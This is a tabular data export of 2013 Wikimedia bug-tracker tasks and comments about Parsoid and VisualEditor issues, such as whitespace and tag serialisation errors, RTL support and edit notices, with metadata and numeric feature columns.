208127,Parsoid: HTML comment with immediately following table has newline split removed,Fixed in production.,,,1367944050,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-7u7csbjslb6fdxkpcs6y,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,Fixed in production.
208120,Parsoid: HTML comment with immediately following table has newline split removed,Related URL: https://gerrit.wikimedia.org/r/62546 (Gerrit Change If16dda01058715acee8df347b2b9c4da84609113),,,1367884917,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-7u7csbjslb6fdxkpcs6y,task_subcomment,,True,c1,1,False,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change If16dda01058715acee8df347b2b9c4da84609113)
208111,Parsoid: HTML comment with immediately following table has newline split removed,I am still getting a clean diff with Chromium (and &debug=true to work around current VE breakage). Can you point out any pages that have a dirty diff both in FF and Chrome?,,,1367877227,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-7u7csbjslb6fdxkpcs6y,task_subcomment,,True,c1,1,True,,,-8,,2.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,15.0,0.0,10.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,12.0,10.0,2.0,0.0,0.0,5.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,3.525,0.925,I am still getting a clean diff with Chromium (and &debug=true to work around current VE breakage). Can you point out any pages that have a dirty diff both in FF and Chrome?
208101,Parsoid: HTML comment with immediately following table has newline split removed,"(In reply to comment #5)
> Those were FF-specific, which points to client-side issues. Are they now an
> issue independent of the browser?

Actually, that bit wasn't FF-specific, it was happening in Chrome as well (and I can confirm that it still does).",,,1367876908,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-7u7csbjslb6fdxkpcs6y,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,2.0,0.0,12.0,10.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,17.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,7.0,10.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.1219512195121952,0.8048780487804879,"(In reply to comment #5)
QUOTE
QUOTE

Actually, that bit wasn't FF-specific, it was happening in Chrome as well (and I can confirm that it still does)."
208094,Parsoid: HTML comment with immediately following table has newline split removed,"Those were FF-specific, which points to client-side issues. Are they now an issue independent of the browser?",,,1367876730,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-7u7csbjslb6fdxkpcs6y,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,12.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,3.875,0.9583333333333334,"Those were FF-specific, which points to client-side issues. Are they now an issue independent of the browser?"
208087,Parsoid: HTML comment with immediately following table has newline split removed,"(In reply to comment #3)
> Can you link to the original report?

The midden of bug 47712.",,,1367876593,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-7u7csbjslb6fdxkpcs6y,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,18.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,12.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.823529411764706,1.0,"(In reply to comment #3)
QUOTE

The midden of bug 47712."
208081,Parsoid: HTML comment with immediately following table has newline split removed,Can you link to the original report?,,,1367876265,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-7u7csbjslb6fdxkpcs6y,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,12.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,Can you link to the original report?
208074,Parsoid: HTML comment with immediately following table has newline split removed,"(In reply to comment #1)
> I get a JS error when trying to preview the diff in that page using FF:
> [13:44:04.016] Error: toDomElements() failed to return an array when
> converting
> element of type alienBlock @
> http://bits.wikimedia.org/en.wikipedia.org/load.
> php?debug=false&lang=en&modules=ext.visualEditor.core%2Cicons-raster%7Cext.
> visualEditor.viewPageTarget.icons-raster%7Crangy%7Cunicodejs.
> wordbreak&skin=vector&version=20130506T190432Z&*:130

Bug 48181.",,,1367874446,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-7u7csbjslb6fdxkpcs6y,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,7.0,0.0,0.0,7.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8214285714285716,0.5,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Bug 48181."
208068,Parsoid: HTML comment with immediately following table has newline split removed,"I get a JS error when trying to preview the diff in that page using FF:
[13:44:04.016] Error: toDomElements() failed to return an array when converting element of type alienBlock @ http://bits.wikimedia.org/en.wikipedia.org/load.php?debug=false&lang=en&modules=ext.visualEditor.core%2Cicons-raster%7Cext.visualEditor.viewPageTarget.icons-raster%7Crangy%7Cunicodejs.wordbreak&skin=vector&version=20130506T190432Z&*:130",,,1367873178,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-7u7csbjslb6fdxkpcs6y,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,5.0,13.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,8.0,0.0,13.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,13.0,5.0,0.0,0.0,3.0,3.0,0.0,5.0,5.0,0.0,8.0,0.0,0.0,5.0,3.948717948717949,0.9230769230769231,"I get a JS error when trying to preview the diff in that page using FF:
[13:44:04.016] Error: toDomElements() failed to return an array when converting element of type alienBlock @ URL"
50110,VisualEditor: Adjacent annotations which are equal by name but not reference do not serialise correctly.,"In MW, annotations loaded from the document will have data-parsoid attributes, and so will have difference store indexes to new annotations. If two words with differently indexed bold annotations are placed side-by-side they converter will close the first one before opening the second, e.g.:

<b>Bold on load text</b><b>added text</b>

Which Parsoid converts to

'''Bold on load text''''''added text'''

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1367774100,1367871652.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-hc26warwwz5ylqujc3td,task_description,resolved,True,c1,1,True,False,True,-9,,0.0,0.0,0.0,1.0,0.0,9.0,0.0,0.0,0.0,1.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,9.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,1.0,10.0,5.0,0.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,4.0,4.21,0.67,"In MW, annotations loaded from the document will have data-parsoid attributes, and so will have difference store indexes to new annotations. If two words with differently indexed bold annotations are placed side-by-side they converter will close the first one before opening the second, e.g.:

<b>Bold on load text</b><b>added text</b>

Which Parsoid converts to

'''Bold on load text''''''added text'''

--------------------------
**Version**: unspecified
**Severity**: normal"
229423,VisualEditor: Adjacent annotations which are equal by name but not reference do not serialise correctly.,Merged into master.,,,1367871652,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hc26warwwz5ylqujc3td,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,1.0,Merged into master.
229419,VisualEditor: Adjacent annotations which are equal by name but not reference do not serialise correctly.,Related URL: https://gerrit.wikimedia.org/r/62352 (Gerrit Change I93586919002c78732228e08b134e67e1a94f8ad7),,,1367782652,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hc26warwwz5ylqujc3td,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I93586919002c78732228e08b134e67e1a94f8ad7)
49860,VisualEditor: Extra tags got inserted causing infobox layout to be broken,"https://zh.wikipedia.org/w/index.php?title=Team_A_6th_Stage%E3%80%8C%E7%9B%AE%E6%93%8A%E8%80%85%E3%80%8D&diff=26390481&oldid=25589213

All change done manually is the insertion of ""编辑器测试"" at the first diff, then those extra </span> and </table> got added automatically.

Where's that ""partial serialization"" mentioned before?

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1367290980,1367545048.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-slnchzhtiw4uoxg47vla,task_description,resolved,True,c1,1,False,False,True,-9,,2.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,8.0,3.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,2.0,2.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,3.9508196721311477,0.7213114754098361,"URL

All change done manually is the insertion of ""编辑器测试"" at the first diff, then those extra </span> and </table> got added automatically.

Where's that ""partial serialization"" mentioned before?

--------------------------
**Version**: unspecified
**Severity**: normal"
213878,VisualEditor: Extra tags got inserted causing infobox layout to be broken,"The main part of this bug (the extra </span> and </table>) look like they're duplicates of bug 47737 - this is fixed, but the new code won't get to zhwiki until 8 May.

The whitespace changes look to be bug 47712 in Parsoid (but possibly actually a fault in VisualEditor).

Marking as a dupe.

*** This bug has been marked as a duplicate of bug 47737 ***",,,1367545048,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-slnchzhtiw4uoxg47vla,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,2.0,1.0,3.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,8.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,1.0,5.0,0.0,1.0,13.0,5.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,3.0,3.3068181818181817,0.6590909090909091,"The main part of this bug (the extra </span> and </table>) look like they're duplicates of bug 47737 - this is fixed, but the new code won't get to zhwiki until 8 May.

The whitespace changes look to be bug 47712 in Parsoid (but possibly actually a fault in VisualEditor).

Marking as a dupe.

*** This bug has been marked as a duplicate of bug 47737 ***"
49816,VisualEditor: Unread message notification will not mark itself read,"I have ""1 notice"", ""You are using an alpha version...."".

1. Clicking the notice, it pops up.
2. Click the message contents, the popup hides.

""1 notice"" remains.  Maybe it will go away when I save the page I'm editing?

3. Save the page, and edit again.

The notice is still there, and even expands when the editor is started.  Blargh!

--------------------------
**Version**: unspecified
**Severity**: minor",Needs Triage,90.0,1367215380,1367544785.0,PHID-USER-p6hvqn5njgnxuagekh4b,False,,False,PHID-TASK-r75ffyh3qiqooawo44eb,task_description,declined,True,c1,1,True,False,True,-9,,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,6.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,6.5,2.5,1.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,1.0,2.5,0.0,0.0,0.0,0.0,0.0,9.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,2.5,8.5,1.5,2.0,5.5,0.0,0.0,1.0,0.0,3.0,0.0,1.0,0.0,3.5,0.5,1.0,1.0,3.0,0.0,3.5,0.0,1.5,0.5,0.0,2.0,0.0,0.0,2.0,3.2,0.6363636363636364,"I have ""1 notice"", ""You are using an alpha version...."".

1. Clicking the notice, it pops up.
2. Click the message contents, the popup hides.

""1 notice"" remains.  Maybe it will go away when I save the page I'm editing?

3. Save the page, and edit again.

The notice is still there, and even expands when the editor is started.  Blargh!

--------------------------
**Version**: unspecified
**Severity**: minor"
211213,VisualEditor: Unread message notification will not mark itself read,"(In reply to comment #0)
> I have ""1 notice"", ""You are using an alpha version...."".
> 
> 1. Clicking the notice, it pops up.
> 2. Click the message contents, the popup hides.
> 
> ""1 notice"" remains.  Maybe it will go away when I save the page I'm editing?
> 
> 3. Save the page, and edit again.
> 
> The notice is still there, and even expands when the editor is started. 
> Blargh!

The notices are urgent notifications about the page, not about the user. They're intended to always display, just like the editnotices they replace.

Theoretically we could have per-user nullification of these, but that'd be messy. Another idea (perhaps?) is to not auto-display the OMG-this-is-so-important-all-users-must-acknowledge nature of editnotices and the like. However, this seems to fly against the underlying purpose of the notices.

Marking as WONTFIX.",,,1367544785,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-r75ffyh3qiqooawo44eb,task_subcomment,,True,c1,1,True,,,-9,,1.0,0.0,0.0,0.0,1.5,3.0,2.0,0.0,0.0,0.0,2.0,1.5,0.0,0.0,0.0,0.5,1.0,5.0,9.0,0.0,2.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,4.0,1.5,0.0,2.0,0.0,1.0,0.0,0.5,0.5,0.0,1.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,5.0,3.0,11.5,0.0,1.5,9.5,0.0,0.0,0.0,0.5,4.0,0.0,0.5,0.0,1.5,9.0,6.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,3.6916553595658073,0.6395296246042514,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The notices are urgent notifications about the page, not about the user. They're intended to always display, just like the editnotices they replace.

Theoretically we could have per-user nullification of these, but that'd be messy. Another idea (perhaps?) is to not auto-display the OMG-this-is-so-important-all-users-must-acknowledge nature of editnotices and the like. However, this seems to fly against the underlying purpose of the notices.

Marking as WONTFIX."
49814,RTL Support for VisualEditor,"Add RTL support for page-, paragraph- and block-level elements in VisualEditor, as well as support for multi-language use in articles.

Full proposal (GSoC2013 project) is available here: http://www.mediawiki.org/wiki/User:Mooeypoo/GSOC_2013_Proposal:_RTL_Support_in_VisualEditor

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1367205180,1367268091.0,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,False,PHID-TASK-2gqmb4cvp2njgfweg4mi,task_description,resolved,True,c1,1,False,False,True,-9,,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.157894736842105,0.7017543859649122,"Add RTL support for page-, paragraph- and block-level elements in VisualEditor, as well as support for multi-language use in articles.

Full proposal (GSoC2013 project) is available here: URL

--------------------------
**Version**: unspecified
**Severity**: normal"
211126,RTL Support for VisualEditor,"This is indeed a duplicate of bug 33126. mooeypoo please update your proposal linking to that bug.

No worries, these things happen to veteran bug submitters as well. :)

*** This bug has been marked as a duplicate of bug 33126 ***",,,1367268091,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-2gqmb4cvp2njgfweg4mi,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,6.0,0.0,0.0,13.0,0.0,2.0,0.0,0.0,2.0,2.0,4.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,3.6923076923076925,0.6346153846153846,"This is indeed a duplicate of bug 33126. mooeypoo please update your proposal linking to that bug.

No worries, these things happen to veteran bug submitters as well. :)

*** This bug has been marked as a duplicate of bug 33126 ***"
211122,RTL Support for VisualEditor,"I'll tentatively reopen it and mark it as blocking 33126 instead.
Not sure though, maybe James knows. :)",,,1367231596,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2gqmb4cvp2njgfweg4mi,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,9.0,4.0,0.0,0.0,0.0,4.0,0.0,22.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,9.0,0.0,4.0,0.0,13.0,4.0,4.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.8260869565217392,0.9130434782608695,"I'll tentatively reopen it and mark it as blocking 33126 instead.
Not sure though, maybe James knows. :)"
211118,RTL Support for VisualEditor,It's a bug for tracking a GSoC proposal. I think that it should be reopened.,,,1367228877,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-2gqmb4cvp2njgfweg4mi,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,17.0,6.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,17.0,11.0,6.0,0.0,0.0,0.0,17.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,3.4444444444444446,0.8888888888888888,It's a bug for tracking a GSoC proposal. I think that it should be reopened.
211113,RTL Support for VisualEditor,"As this seems to be a tracking bug covering several aspects, marking as duplicate of bug 33126.

Please see the list of specific issues blocking bug 33126 in the ""Depends on:"" section of bug 33126, and if some of the specific issues that you mention are not covered (means: do not have a bug report), please file separate bug reports for each item. Thanks!

*** This bug has been marked as a duplicate of bug 33126 ***",,,1367228662,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2gqmb4cvp2njgfweg4mi,task_subcomment,,True,c1,1,True,,,-9,,3.0,0.0,0.0,2.0,2.0,4.0,1.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,3.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,21.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,6.0,3.0,5.0,1.0,1.0,11.0,0.0,0.0,1.0,0.0,5.0,2.0,4.0,0.0,1.0,14.0,1.0,0.0,2.0,0.0,1.0,0.0,1.0,3.0,0.0,3.0,0.0,0.0,0.0,3.6210526315789475,0.6421052631578947,"As this seems to be a tracking bug covering several aspects, marking as duplicate of bug 33126.

Please see the list of specific issues blocking bug 33126 in the ""Depends on:"" section of bug 33126, and if some of the specific issues that you mention are not covered (means: do not have a bug report), please file separate bug reports for each item. Thanks!

*** This bug has been marked as a duplicate of bug 33126 ***"
49768,[VisualEditor] CSS and JS pages should only be editable using the source editor,"CSS and JS pages shouldn't be editable using the VisualEditor, but only using the regular source editor. These pages should only have the ""Edit source"" tab.

(It may make sense to have them editable using the source code editor that is used for Lua, but that's a separate issue.)

--------------------------
**Version**: unspecified
